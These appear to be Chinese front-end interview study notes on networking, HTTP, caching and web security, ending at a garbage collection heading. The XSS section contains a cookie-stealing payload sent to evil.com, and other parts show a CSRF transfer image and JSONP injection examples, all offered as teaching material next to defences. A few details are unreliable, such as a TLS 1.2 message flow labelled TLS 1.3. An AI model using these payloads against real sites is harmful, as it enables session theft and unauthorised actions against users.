网络缓存及垃圾回收

前端面试知识点汇总


浏览器

不同标签页间的通讯

  1. 通过父页面window.open()和子页面postMessage
  • 异步下,通过 window.open('about: blank') 和 tab.location.href = '*'
  1. 设置同域下共享的localStorage与监听window.onstorage
  • 重复写入相同的值无法触发
  • 会受到浏览器隐身模式等的限制
  1. 设置共享cookie与不断轮询脏检查(setInterval)
  2. 借助服务端或者中间层实现如websocket,ajax等跨域通讯

history路由和hash路由

hash 路由

hash 路由,在 html5 前,为了解决单页路由跳转问题采用的方案, hash 的变化不会触发页面渲染,服务端也无法获取到 hash 值,前端可通过监听 hashchange 事件来处理hash值的变化

window.addEventListener('hashchange', function(){ 
    // 监听hash变化,点击浏览器的前进后退会触发
})

history 路由

history 路由,是 html5 的规范,提供了对history栈中内容的操作,常用api有:

window.history.pushState(state, title, url) 
// let currentState = history.state; 获取当前state
// state:需要保存的数据,这个数据在触发popstate事件时,可以在event.state里获取
// title:标题,基本没用,一般传 null
// url:设定新的历史记录的 url。新的 url 与当前 url 的 origin 必须是一樣的,否则会抛出错误。url可以是绝对路径,也可以是相对路径。
//如 当前url是 https://www.baidu.com/a/,执行history.pushState(null, null, './qq/'),则变成 https://www.baidu.com/a/qq/,
//执行history.pushState(null, null, '/qq/'),则变成 https://www.baidu.com/qq/

window.history.replaceState(state, title, url)
// 与 pushState 基本相同,但她是修改当前历史记录,而 pushState 是创建新的历史记录

window.addEventListener("popstate", function() {
    // 监听浏览器前进后退事件,pushState 与 replaceState 方法不会触发              
});

一、网络基础

1. 从输入URL到页面加载发生了什么?

简要回答:浏览器解析URL → 查找缓存 → DNS解析ip → TCP三次握手 → HTTPS/TLS握手 → 发送HTTP请求 → 服务器处理 → 返回响应 → 浏览器解析渲染 → TCP四次挥手

详细讲解

完整流程(11个步骤):

1)浏览器解析URL

  • 协议(http/https)、域名、端口、路径、查询参数
  • 例如:https://www.example.com:443/path?query=value

2)浏览器查找缓存

  • Service Worker 缓存:优先级最高,开发者可控
  • Memory Cache:内存中的临时缓存
  • Disk Cache(HTTP Cache):硬盘上的持久缓存
    • 强制缓存:通过 ExpiresCache-Control: max-age 判断
    • 协商缓存:通过 EtagLast-Modified 验证

3)DNS 解析

  • 浏览器缓存 → 操作系统缓存 → hosts文件 → 本地DNS服务器 → 根域名服务器 → 顶级域名服务器 → 权威域名服务器

4)TCP 三次握手

  • SYN → SYN+ACK → ACK
  • 目的:确认双方收发能力正常

5)TLS/SSL 握手(HTTPS)

  • 客户端发送支持的加密套件
  • 服务器返回证书
  • 客户端验证证书,生成对称密钥
  • 双方使用对称密钥加密通信

6)HTTP 请求发送

  • 请求行:GET /path HTTP/1.1
  • 请求头:HostUser-AgentAcceptCookie
  • 请求体(POST请求)

7)服务器处理请求

  • 路由匹配、权限验证、业务逻辑处理
  • 读取数据库、调用其他服务

8)HTTP 响应返回

  • 状态行:HTTP/1.1 200 OK
  • 响应头:Content-TypeCache-ControlSet-Cookie
  • 响应体:HTML、JSON、图片等

9)浏览器解析 HTML

  • 构建 DOM 树
  • 遇到 <script> 标签:阻塞解析(除非有 async/defer
  • 遇到 <link> 标签:异步加载 CSS

10)CSS 解析与渲染

  • 构建 CSSOM 树
  • 合并 DOM + CSSOM → 渲染树
  • 布局(Layout):计算元素位置和大小
  • 绘制(Paint):将像素绘制到屏幕
  • 合成(Composite):合并图层

11)TCP 四次挥手

  • FIN → ACK → FIN → ACK
  • 等待 2MSL 确保数据传输完成

2. 彻底弄懂 CORS 跨域请求

简要回答:CORS是浏览器实现的跨域安全机制,通过服务器设置响应头允许跨域请求。分为简单请求(直接发送)和非简单请求(先发送OPTIONS预检请求)。

我们可以通过以下几种常用方法解决跨域的问题:

  1. jsonp 跨域请求
  2. nginx 配置跨域请求
  3. 服务器端配置 CORS 响应头
  4. 如vue proxy 跨域请求
  5. websocket 跨域请求

详细讲解

CORS(Cross-Origin Resource Sharing)是浏览器实现的跨域安全机制。

同源策略(SOP)

  • 协议、域名、端口三者必须完全相同
  • 目的:防止恶意网站窃取用户数据

CORS 响应头详解

Access-Control-Allow-Origin: *                    # 允许所有来源
Access-Control-Allow-Origin: https://example.com  # 允许特定来源
Access-Control-Allow-Methods: GET, POST, PUT      # 允许的方法
Access-Control-Allow-Headers: Content-Type        # 允许的请求头
Access-Control-Allow-Credentials: true            # 是否允许携带凭证
Access-Control-Max-Age: 86400                    # 预检请求缓存时间

简单请求 vs 非简单请求

请求类型 条件 是否需要预检
简单请求 GET/HEAD/POST + 标准头 + Content-Type 为三种之一
非简单请求 其他情况

Content-Type 允许值

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

预检请求流程

OPTIONS /api/data HTTP/1.1
Origin: https://client.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Content-Type

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://client.com
Access-Control-Allow-Methods: PUT
Access-Control-Allow-Headers: Content-Type

常见问题

  • 多个域名白名单:服务器动态设置 Access-Control-Allow-Origin 为请求的 Origin
  • 携带凭证:需设置 Access-Control-Allow-Credentials: true,且 Allow-Origin 不能为 *

3. TCP 的三次握手和四次挥手

简要回答:三次握手确保双方收发能力正常(SYN→SYN+ACK→ACK);四次挥手释放全双工连接(FIN→ACK→FIN→ACK)。

详细讲解

三次握手(建立连接)

客户端                          服务器
  |                               |
  | ------ SYN (seq=x) -------->  |  第一次:客户端请求连接
  |                               |     状态:SYN-SENT
  | <----- SYN+ACK ------------   |  第二次:服务器同意连接
  |        (seq=y, ack=x+1)       |     状态:SYN-RECEIVED
  |                               |
  | ------ ACK (ack=y+1) -------->  |  第三次:客户端确认
  |                               |     状态:ESTABLISHED

为什么需要三次握手?

  • 第一次:客户端 → 服务器(我能发)
  • 第二次:服务器 → 客户端(我能收也能发)
  • 第三次:客户端 → 服务器(我能收)
  • 防止已失效的连接请求到达服务器

四次挥手(关闭连接)

客户端                          服务器
  |                               |
  | ------ FIN (seq=x) -------->  |  第一次:客户端请求关闭
  |                               |     状态:FIN-WAIT-1
  | <----- ACK (ack=x+1) --------  |  第二次:服务器确认收到
  |                               |     状态:FIN-WAIT-2
  |                               |
  | <----- FIN (seq=y) --------   |  第三次:服务器准备关闭
  |        (ack=x+1)              |     状态:LAST-ACK
  |                               |
  | ------ ACK (ack=y+1) -------->  |  第四次:客户端确认
  |                               |     状态:TIME-WAIT → CLOSED

为什么需要四次挥手?

  • TCP 是全双工连接,双方需分别关闭
  • 第二次和第三次不能合并:服务器可能还有数据要发送

2MSL 等待时间

  • MSL(Maximum Segment Lifetime):报文最大生存时间
  • 等待 2MSL 确保:
    1. 最后一个 ACK 到达服务器
    2. 旧连接的报文完全消失

4. WebSocket

简要回答:WebSocket是HTML5的全双工通信协议,通过一次HTTP握手建立持久连接,支持双向实时通信,无跨域限制。

详细讲解

WebSocket 是 HTML5 引入的全双工通信协议。

协议特点

  • 握手阶段:基于 HTTP,发送 Upgrade 请求
  • 数据传输:帧格式,支持文本和二进制
  • 无同源限制:服务器控制跨域

握手过程

GET /chat HTTP/1.1
Host: example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

API 使用示例

const ws = new WebSocket('wss://example.com/chat');

ws.onopen = () => {
  ws.send('Hello Server!');
};

ws.onmessage = (event) => {
  console.log('Received:', event.data);
};

ws.onerror = (error) => {
  console.error('Error:', error);
};

ws.onclose = (event) => {
  console.log('Close code:', event.code);
};

心跳检测实现

let heartbeatInterval;

function startHeartbeat() {
  heartbeatInterval = setInterval(() => {
    if (ws.readyState === WebSocket.OPEN) {
      ws.send(JSON.stringify({ type: 'ping' }));
    }
  }, 30000); // 30秒一次
}

function stopHeartbeat() {
  clearInterval(heartbeatInterval);
}

应用场景

  • 实时聊天、实时通知、在线游戏、协作编辑

5. TCP 和 UDP 的区别

简要回答:TCP面向连接、可靠、有序但效率低;UDP无连接、不可靠、无序但效率高。TCP适合文件传输,UDP适合实时音视频。

详细讲解

核心差异对比

特性 TCP UDP
连接性 面向连接(三次握手) 无连接
可靠性 可靠(重传、确认、排序) 不可靠(尽力交付)
顺序性 保证顺序 不保证顺序
流量控制 滑动窗口
拥塞控制 慢启动、拥塞避免
头部开销 20-60 字节 8 字节
速度 较慢 较快
适用场景 文件传输、网页浏览、邮件 视频通话、直播、DNS

TCP 可靠性机制

  1. 序列号和确认号:确保数据按序到达
  2. 超时重传:发送后等待确认,超时则重传
  3. 滑动窗口:控制发送速率,实现流量控制
  4. 拥塞控制:根据网络状况调整发送速率
  5. 选择性重传:只重传丢失的报文段

UDP 使用场景示例

  • DNS 查询:小数据量,快速响应更重要
  • 实时音视频:少量丢包可接受,延迟敏感
  • 游戏数据包:实时性优先

6. Keep-Alive 持久连接

简要回答:Keep-Alive复用TCP连接发送多个HTTP请求,减少握手开销,但存在线头阻塞问题,HTTP/2通过多路复用解决。

详细讲解

Keep-Alive 使 TCP 连接在多个 HTTP 请求之间复用。

工作原理

# 请求1
GET /page1 HTTP/1.1
Host: example.com
Connection: Keep-Alive

HTTP/1.1 200 OK
Connection: Keep-Alive
Keep-Alive: timeout=5, max=100

# 请求2(复用同一个TCP连接)
GET /page2 HTTP/1.1
Host: example.com

优点

  • 减少 TCP 握手开销
  • 降低延迟
  • 减少服务器负载

缺点

  • 线头阻塞(Head-of-Line Blocking):请求必须按序等待
  • 长时间占用连接资源

HTTP/2 的改进

  • 多路复用:一个 TCP 连接并发多个请求
  • 请求优先级:重要资源优先传输
  • 彻底解决线头阻塞问题

7. HTTP 状态码详解

简要回答:1xx信息类、2xx成功类、3xx重定向类、4xx客户端错误、5xx服务器错误。常用:200成功、301永久重定向、304缓存、404不存在、500服务器错误。

详细讲解

1xx(信息类)

状态码 含义 使用场景
100 Continue 继续发送 客户端发送大请求前的确认
101 Switching Protocols 协议切换 WebSocket 握手
102 Processing 处理中 服务器正在处理(WebDAV)

2xx(成功类)

状态码 含义 使用场景
200 OK 请求成功 通用成功响应
201 Created 资源创建成功 POST 创建资源
202 Accepted 请求已接受 异步处理
204 No Content 无内容 DELETE 操作
206 Partial Content 部分内容 断点续传

3xx(重定向类)

状态码 含义 使用场景
301 Moved Permanently 永久重定向 URL 永久变更
302 Found 临时重定向 临时跳转
303 See Other 查看其他 POST 后重定向
304 Not Modified 未修改 使用缓存
307 Temporary Redirect 临时重定向(保留方法) 保持请求方法不变
308 Permanent Redirect 永久重定向(保留方法) 保持请求方法不变

4xx(客户端错误)

状态码 含义 使用场景
400 Bad Request 请求错误 参数格式错误
401 Unauthorized 未授权 需要登录
403 Forbidden 禁止访问 权限不足
404 Not Found 资源不存在 URL 错误
405 Method Not Allowed 方法不允许 错误的 HTTP 方法
408 Request Timeout 请求超时 服务器等待超时
409 Conflict 冲突 资源状态冲突
413 Payload Too Large 请求体过大 超出限制
422 Unprocessable Entity 无法处理 参数校验失败
429 Too Many Requests 请求过多 限流

5xx(服务器错误)

状态码 含义 使用场景
500 Internal Server Error 服务器错误 代码异常
502 Bad Gateway 网关错误 上游服务异常
503 Service Unavailable 服务不可用 维护或过载
504 Gateway Timeout 网关超时 上游响应超时

8. HTTP/1、HTTP/2、HTTP/3 的区别

简要回答:HTTP/1.1有线程阻塞;HTTP/2引入二进制分帧、多路复用、头部压缩;HTTP/3基于QUIC协议,无线头阻塞。

详细讲解

演进历程

HTTP/0.9 (1991) → HTTP/1.0 (1996) → HTTP/1.1 (1999) → HTTP/2 (2015) → HTTP/3 (2022)

HTTP/1.1 的问题

  1. 线头阻塞:请求必须按序响应
  2. 重复头部:每次请求都发送相同的头部
  3. 明文传输:无加密

HTTP/2 核心特性

1. 二进制分帧

┌─────────────────────────────────────────────────────────┐
│                     TCP Connection                      │
├─────────────────────────────────────────────────────────┤
│  Stream 1: [Frame] [Frame] [Frame]                     │
│  Stream 2:      [Frame] [Frame]                        │
│  Stream 3:            [Frame]                          │
└─────────────────────────────────────────────────────────┘

2. 多路复用

  • 一个 TCP 连接多个流
  • 流之间独立,互不阻塞

3. Header 压缩(HPACK)

  • 静态表:预定义常见头部
  • 动态表:记录通信中的头部
  • 差分编码:只发送变化的部分

4. 服务端推送(Server Push)

PUSH_PROMISE /style.css  # 服务器主动推送

5. 请求优先级

  • 为流分配优先级
  • 浏览器优先获取关键资源

HTTP/3 核心特性

1. 基于 QUIC 协议

  • 基于 UDP,实现可靠传输
  • 更快的连接建立(0-RTT)
  • 独立流控制,无线头阻塞

2. 内置 TLS 1.3

  • 加密是默认配置
  • 简化握手流程

3. 向前纠错(FEC)

  • 发送冗余数据
  • 减少重传次数

协议对比

特性 HTTP/1.1 HTTP/2 HTTP/3
传输层 TCP TCP QUIC (UDP)
多路复用
头部压缩 HPACK QPACK
服务端推送
加密 可选 建议 强制
线头阻塞 有(TCP层)

9. HTTPS 握手过程

简要回答:客户端发起请求 → 服务器返回证书 → 客户端验证证书并生成对称密钥 → 用服务器公钥加密密钥发送 → 双方用对称密钥通信。

详细讲解

完整握手流程(TLS 1.3)

客户端                          服务器
  |                               |
  | ---- ClientHello ---------->  |  1. 支持的协议版本、加密套件、随机数
  |                               |
  | <----- ServerHello --------   |  2. 确认协议版本、加密套件、随机数、证书
  |        + Certificate          |
  |        + ServerKeyExchange    |
  |                               |
  | ------ ClientKeyExchange ---->  |  3. 用服务器公钥加密预主密钥
  |        + ChangeCipherSpec     |
  |        + Finished             |
  |                               |
  | <----- ChangeCipherSpec ----  |  4. 切换加密、确认
  |        + Finished             |
  |                               |
  | ===== 加密通信 =====          |  5. 应用数据传输

加密方式详解

非对称加密(密钥交换)

  • 公钥:公开,用于加密
  • 私钥:保密,用于解密
  • 算法:RSA、ECC

对称加密(数据传输)

  • 共享密钥:双方协商的随机数
  • 算法:AES-GCM、ChaCha20-Poly1305
  • 特点:速度快,适合大量数据

数字签名(身份验证)

  • 服务器用私钥签名证书
  • 客户端用 CA 公钥验证

证书验证流程

  1. 验证证书颁发机构(CA)
  2. 验证证书有效期
  3. 验证证书签名
  4. 检查证书吊销列表(CRL)或 OCSP

性能优化

  • 会话复用:Session ID 或 Session Ticket
  • OCSP Stapling:服务器提前获取证书状态
  • TLS False Start:减少握手延迟

10. HTTP 与 HTTPS 默认端口

简要回答:HTTP默认端口80,HTTPS默认端口443。

详细讲解

端口分配原则

  • 知名端口(0-1023):系统保留
  • 注册端口(1024-49151):用户程序使用
  • 动态端口(49152-65535):临时分配

HTTP 默认端口

  • 80:标准 HTTP 端口
  • 示例:http://example.com 等价于 http://example.com:80

HTTPS 默认端口

  • 443:标准 HTTPS 端口
  • 示例:https://example.com 等价于 https://example.com:443

常见非标准端口

  • 8080:开发环境常用
  • 8443:HTTPS 备用端口

11. DNS 解析过程

简要回答:浏览器缓存→系统缓存→hosts文件→本地DNS→根DNS→顶级DNS→权威DNS。

详细讲解

完整解析流程

浏览器缓存 → 操作系统缓存 → hosts文件 → 本地DNS服务器
    ↓
根域名服务器 → 顶级域名服务器 → 权威域名服务器

各层级详解

1. 浏览器缓存

  • 浏览器内置缓存,TTL 较短

2. 操作系统缓存

  • Windows:ipconfig /displaydns
  • Linux/macOS:dig example.com

3. hosts 文件

  • 路径:/etc/hosts(Unix)或 C:\Windows\System32\drivers\etc\hosts
  • 格式:127.0.0.1 localhost

4. 本地 DNS 服务器

  • 通常是 ISP 提供的服务器
  • 缓存查询结果

5. 根域名服务器

  • 全球共 13 组根服务器
  • 返回顶级域名服务器地址

6. 顶级域名服务器(TLD)

  • .com、.cn、.org 等
  • 返回权威域名服务器地址

7. 权威域名服务器

  • 域名注册商的服务器
  • 返回最终 IP 地址

DNS 记录类型

类型 含义 示例
A IPv4 地址 example.com A 192.168.1.1
AAAA IPv6 地址 example.com AAAA ::1
CNAME 别名记录 www.example.com CNAME example.com
MX 邮件服务器 example.com MX mail.example.com
TXT 文本记录 example.com TXT "v=spf1 include:_spf.google.com"

DNS 优化策略

1. DNS 预解析

<link rel="dns-prefetch" href="//api.example.com">
<link rel="preconnect" href="https://api.example.com">

2. DNS 负载均衡

  • 轮询、加权轮询、地理定位

3. CDN 加速

  • 就近节点解析

4. 域名分片

  • 突破浏览器并发限制(同一域名 6 个连接)


13. CDN 工作原理

简要回答:CDN(内容分发网络)将静态资源缓存到全球边缘节点,用户就近获取,降低延迟和源站压力。

详细讲解

CDN 架构

用户 → 本地DNS → 智能DNS → 边缘节点 → 源站
                          ↓
                      缓存命中?
                      /      \
                    是        否
                     ↓          ↓
                  返回缓存    回源获取
                              ↓
                          缓存并返回

工作流程

  1. 用户请求:用户访问 https://static.example.com/js/app.js
  2. DNS 解析:智能 DNS 根据用户位置返回最近的边缘节点 IP
  3. 缓存命中:边缘节点有缓存,直接返回
  4. 缓存未命中:边缘节点向源站请求,缓存后返回

CDN 缓存策略

# 静态资源(带版本号)
Cache-Control: max-age=31536000, immutable

# HTML 文件
Cache-Control: no-cache

缓存刷新

  • 时间过期:自动刷新
  • 手动刷新:通过 CDN 控制台触发
  • 版本号更新app.v2.js 触发新请求

CDN 优化效果

指标 优化前 优化后
延迟 100-500ms 10-50ms
带宽消耗
源站压力

14. 浏览器并发连接限制

简要回答:浏览器对同一域名有并发连接限制(HTTP/1.1 通常 6 个),超过限制的请求会排队等待。

详细讲解

并发限制原因

  • TCP 连接开销:每个连接需要三次握手
  • 服务器资源:防止服务器被大量连接压垮
  • 公平性:避免单个页面占用过多资源

各浏览器限制

浏览器 HTTP/1.1 并发数 HTTP/2 并发数
Chrome 6 无限制(多路复用)
Firefox 6 无限制
Safari 6 无限制
Edge 6 无限制

优化策略

1. 域名分片

<!-- 使用多个子域名 -->
<script src="https://static1.example.com/app.js"></script>
<script src="https://static2.example.com/vendor.js"></script>

2. 合并资源

// 将多个小文件合并为一个
import './utils.js';
import './api.js';
import './ui.js';
// 打包为 app.bundle.js

3. 使用 HTTP/2

  • 多路复用:一个 TCP 连接并发多个请求
  • 消除线头阻塞

15. RESTful API 设计原则

简要回答:使用合适的 HTTP 方法、无状态、统一接口、分层设计、支持缓存。

详细讲解

核心原则

1. 使用合适的 HTTP 方法

方法 操作 示例
GET 查询列表 GET /api/users
GET 查询单个 GET /api/users/123
POST 创建 POST /api/users
PUT 完整更新 PUT /api/users/123
PATCH 部分更新 PATCH /api/users/123
DELETE 删除 DELETE /api/users/123

2. 无状态

  • 服务器不保存客户端状态
  • 每次请求包含所有必要信息
  • 便于水平扩展

3. 统一接口

  • 资源用名词表示(/users/posts
  • 使用查询参数过滤(/users?status=active
  • 使用分页(/users?page=2&limit=10

4. 分层设计

  • 客户端不关心服务端内部结构
  • 支持中间层(缓存、负载均衡)

5. 缓存友好

  • 支持条件请求
If-None-Match: "abc123"
If-Modified-Since: Wed, 21 Oct 2024 07:28:00 GMT
  • 返回 304 Not Modified 使用缓存

错误处理

HTTP/1.1 400 Bad Request
Content-Type: application/json

{
  "error": "InvalidParameter",
  "message": "Email format is invalid",
  "code": 1001
}

16. SSE、WebSocket、Fetch Stream 对比(AI 聊天打字效果)

简要回答:SSE 是服务器单向推送,WebSocket 是双向通信,Fetch Stream 是 HTTP 流式响应。三者都可实现打字效果,各有优劣。

详细讲解

三种方案对比

特性 SSE (Server-Sent Events) WebSocket Fetch Stream
协议 HTTP WebSocket (WS/WSS) HTTP/2
方向 服务器 → 客户端(单向) 双向 服务器 → 客户端(单向)
连接 持久连接 持久连接 单次请求流
重连 自动重连 需手动实现 需手动重连
数据格式 文本(event stream) 文本/二进制 文本/二进制
跨域 需 CORS 无跨域限制 需 CORS
兼容性 IE 不支持 IE 10+ 现代浏览器
用途 实时通知、日志流 实时聊天、游戏 AI 流式响应

实现打字效果代码对比

1. SSE 实现

// 前端
const eventSource = new EventSource('/api/stream');

eventSource.onmessage = (event) => {
  const content = event.data;
  document.getElementById('chat').textContent += content;
};

eventSource.onerror = (error) => {
  console.error('SSE error:', error);
  eventSource.close();
};

// 后端(FastAPI)
from fastapi import FastAPI
from sse_starlette.sse import EventSourceResponse
import asyncio

app = FastAPI()

@app.get("/api/stream")
async def stream():
    async def generate():
        for char in "Hello, World!":
            yield {"data": char}
            await asyncio.sleep(0.1)
    return EventSourceResponse(generate())

2. WebSocket 实现

// 前端
const ws = new WebSocket('wss://example.com/api/chat');

ws.onopen = () => {
  ws.send(JSON.stringify({ message: 'Hello' }));
};

ws.onmessage = (event) => {
  const data = JSON.parse(event.data);
  document.getElementById('chat').textContent += data.content;
};

// 后端(FastAPI)
from fastapi import FastAPI, WebSocket
import asyncio

app = FastAPI()

@app.websocket("/api/chat")
async def chat(websocket: WebSocket):
    await websocket.accept()
    while True:
        data = await websocket.receive_json()
        for char in "Response":
            await websocket.send_json({"content": char})
            await asyncio.sleep(0.1)

3. Fetch Stream 实现

// 前端
const startStreaming = async () => {
  const response = await fetch('/api/stream_chat', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ message: 'Hello' })
  });

  const reader = response.body.getReader();
  const decoder = new TextDecoder('utf-8');
  
  while (true) {
    const { done, value } = await reader.read();
    if (done) break;
    const chunk = decoder.decode(value, { stream: true });
    document.getElementById('chat').textContent += chunk;
  }
};

// 后端(FastAPI)
from fastapi import FastAPI
from fastapi.responses import StreamingResponse
import asyncio

app = FastAPI()

@app.post("/api/stream_chat")
async def stream_chat():
    async def generate():
        for char in "Hello, World!":
            yield char
            await asyncio.sleep(0.1)
    return StreamingResponse(generate(), media_type="text/plain")

方案选择建议

场景 推荐方案 原因
AI 聊天打字效果 Fetch Stream / SSE 单向流,实现简单
实时双向聊天 WebSocket 双向通信,低延迟
服务器日志监控 SSE 自动重连,轻量级
游戏实时数据 WebSocket 双向实时通信

关键注意事项

1. SSE 格式要求

Content-Type: text/event-stream
Cache-Control: no-cache
Connection: keep-alive

data: Hello
data: World

event: update
data: {"progress": 50}

2. Fetch Stream 编码处理

// 处理多字节字符(如中文)
const decoder = new TextDecoder('utf-8');
let buffer = '';

while (true) {
  const { done, value } = await reader.read();
  if (done) {
    // 处理剩余数据
    console.log(buffer + decoder.decode(value));
    break;
  }
  buffer += decoder.decode(value, { stream: true });
}

3. WebSocket 心跳检测

let heartbeatInterval = setInterval(() => {
  if (ws.readyState === WebSocket.OPEN) {
    ws.send(JSON.stringify({ type: 'ping' }));
  }
}, 30000);

二、安全策略

1. 中间人攻击(MITM)

简要回答:攻击者截获通信双方的数据,冒充双方进行通信。防范:使用HTTPS、验证证书、证书固定。

详细讲解

攻击模型

客户端                  攻击者                  服务器
  |                       |                       |
  | ------ 请求公钥 ---->  |                       |
  |                       | ------ 请求公钥 ---->  |
  |                       | <----- 公钥 --------   |
  | <----- 假公钥 -------  |                       |
  |                       |                       |
  | ------ 加密密钥 ---->  |                       |
  |                       | (解密获取密钥)          |
  |                       | ------ 加密密钥 ---->  |
  |                       | <----- 响应 --------   |
  | <----- 假响应 -------  |                       |

攻击手段

  • ARP 欺骗:伪造 MAC 地址
  • DNS 劫持:篡改 DNS 解析结果
  • SSL Stripping:降级 HTTPS 为 HTTP

防范措施

1. 使用 HTTPS

  • 强制 HTTPS(HSTS)
  • 配置正确的证书

2. 证书验证

  • 验证证书颁发机构
  • 检查证书有效期
  • 防止证书伪造

3. 证书固定(Certificate Pinning)

// 固定证书指纹
const pinnedFingerprint = 'sha256-abc123...';

4. 使用 VPN 或代理

  • 加密网络传输

2. XSS(跨站脚本攻击)

简要回答:注入恶意脚本在用户浏览器执行。分为存储型(存数据库)、反射型(URL参数)、DOM型(客户端)。防范:输入验证、输出转义、使用安全API、设置安全响应头。

详细讲解

攻击原理:在页面中注入恶意脚本,在用户浏览器中执行。

XSS 类型对比

类型 存储位置 触发方式 危害程度
存储型 数据库 页面渲染时执行
反射型 URL 参数 点击链接时执行
DOM 型 客户端 JavaScript 处理时

攻击示例

1. 存储型 XSS

<!-- 攻击者在评论区输入 -->
<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>

<!-- 其他用户访问页面时执行 -->

2. 反射型 XSS

http://example.com/search?keyword=<script>alert('XSS')</script>

3. DOM 型 XSS

// 不安全的代码
const keyword = decodeURIComponent(location.search.slice(1));
document.getElementById('result').innerHTML = keyword;

防范措施

1. 输入验证

  • 限制输入长度
  • 过滤特殊字符
  • 使用白名单验证

2. 输出转义

// HTML 转义
function escapeHtml(str) {
  return str.replace(/[&<>"']/g, char => ({
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#039;'
  }[char]));
}

3. 使用安全的 API

  • Vue:{{ }} 自动转义
  • React:JSX 自动转义
  • 避免使用 innerHTMLeval()setTimeout(string)

4. 设置安全响应头

Content-Security-Policy: default-src 'self'
X-XSS-Protection: 1; mode=block

5. Cookie 安全标记

Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Strict

3. CSRF(跨站请求伪造)

简要回答:诱导已登录用户执行非预期操作。防范:验证Referer/Origin、添加CSRF Token、使用SameSite Cookie。

详细讲解

攻击原理:诱导用户在已登录状态下执行非预期操作。

攻击流程

受害者登录银行网站 → 攻击者诱导访问恶意页面 → 恶意页面自动发送转账请求 → 银行执行转账

攻击示例

<!-- 恶意页面 -->
<img src="http://bank.com/transfer?to=attacker&amount=1000" style="display:none">

攻击条件

  1. 用户已登录目标网站
  2. 存在敏感操作接口
  3. 接口未验证请求来源

防范措施

1. 验证请求来源

  • Referer 验证:检查请求来源域名
  • Origin 验证:检查 Origin 头

2. 添加 CSRF Token

<!-- 表单中添加 Token -->
<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="abc123">
  ...
</form>
// AJAX 请求中添加 Token
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-CSRF-Token': document.querySelector('meta[name="csrf-token"]').content
  },
  body: JSON.stringify(data)
});

3. 使用 SameSite Cookie

Set-Cookie: session=abc; SameSite=Strict

4. 关键操作要求验证

  • 验证码
  • 密码二次验证
  • 短信验证

4. JSONP 安全防范

简要回答:JSONP通过动态创建script标签跨域获取数据,存在XSS风险。防范:白名单验证、callback参数验证、使用CORS替代。

详细讲解

JSONP 是一种跨域数据获取方式,通过动态创建 <script> 标签实现。

工作原理

<script src="http://api.example.com/data?callback=handleData"></script>
<script>
  function handleData(data) {
    console.log(data);
  }
</script>

服务器返回:

handleData({"name": "John"});

安全风险

  • XSS 攻击:如果 callback 参数被注入恶意代码
  • http://api.example.com/data?callback=<script>alert('XSS')</script>
    
  • 返回:<script>alert('XSS')</script>({"name": "John"});

防范措施

1. 白名单验证

  • 验证 Referer 来源
  • 限制允许的域名

2. Callback 参数验证

  • 只允许字母、数字、下划线
  • 限制长度
// 安全的 callback 验证
function isValidCallback(callback) {
  return /^[a-zA-Z_$][a-zA-Z0-9_$]*$/.test(callback);
}

3. 使用 CORS 替代

  • CORS 更安全、更灵活
  • 支持 POST 请求
  • 支持自定义请求头

三、浏览器缓存

1. 缓存类型

简要回答:Service Worker(最高优先级)→ Memory Cache → Disk Cache → 网络请求。

详细讲解

缓存层次

Service Worker → Memory Cache → Disk Cache → 网络请求

各类缓存特点

缓存类型 存储位置 容量 存活时间 优先级
Service Worker 磁盘 较大 持久 最高
Memory Cache 内存 较小 页面关闭 次高
Disk Cache 磁盘 较大 按规则 次低
Push Cache 内存 较小 会话级 最低

2. 强制缓存

简要回答:通过Expires或Cache-Control控制,无需向服务器验证,Cache-Control优先级更高。

详细讲解

通过 HTTP 响应头控制,无需向服务器验证。

Expires(HTTP/1.0)

Expires: Wed, 21 Oct 2025 07:28:00 GMT
  • 绝对时间,可能与客户端时间不一致

Cache-Control(HTTP/1.1)

Cache-Control: max-age=3600, public

Cache-Control 指令详解

指令 含义
max-age=seconds 缓存有效期(秒)
public 可被公共缓存存储
private 仅客户端缓存
no-cache 需验证后使用
no-store 不缓存
must-revalidate 过期后必须验证
proxy-revalidate 代理必须验证

优先级

  • Cache-Control: max-age > Expires
  • 如果同时存在,max-age 覆盖 Expires

3. 协商缓存

简要回答:每次请求需向服务器验证,通过Etag/If-None-Match或Last-Modified/If-Modified-Since验证,有效返回304,无效返回200。

详细讲解

每次请求都需向服务器验证,服务器决定是否使用缓存。

验证机制

Last-Modified / If-Modified-Since

# 首次响应
Last-Modified: Wed, 21 Oct 2024 07:28:00 GMT

# 再次请求
If-Modified-Since: Wed, 21 Oct 2024 07:28:00 GMT

Etag / If-None-Match

# 首次响应
Etag: "abc123"

# 再次请求
If-None-Match: "abc123"

Etag vs Last-Modified

特性 Etag Last-Modified
精度 高(文件内容哈希) 低(时间戳)
粒度
优先级
适用场景 文件频繁修改 文件修改频率低

验证流程

客户端请求 → 服务器验证 Etag/Last-Modified → 验证通过返回 304 → 使用缓存
                                        → 验证失败返回 200 → 更新缓存

4. 缓存策略最佳实践

简要回答:静态资源长期缓存(带版本号)、HTML每次验证、API不缓存、CDN设置合理缓存时间。

详细讲解

静态资源缓存

Cache-Control: max-age=31536000, immutable
  • 带版本号的静态资源:app.abc123.js
  • 长期缓存,更新通过版本号

HTML 文件

Cache-Control: no-cache
  • 每次验证,确保获取最新版本

API 接口

Cache-Control: no-store, must-revalidate
  • 敏感数据不缓存

CDN 缓存

Cache-Control: public, max-age=86400
  • 公共缓存,减少源站压力

四、垃圾回收机制

1. 内存管理基础

简要回答:内存生命周期:分配→使用→回收。常见内存泄漏:全局变量、闭包、DOM引用、定时器、事件监听器未清理。

详细讲解

内存生命周期

分配 → 使用 → 回收

常见内存泄漏场景

  • 全局变量
  • 闭包引用
  • DOM 引用未清理
  • 定时器未清除
  • 事件监听器未移除

2. 标记清除算法

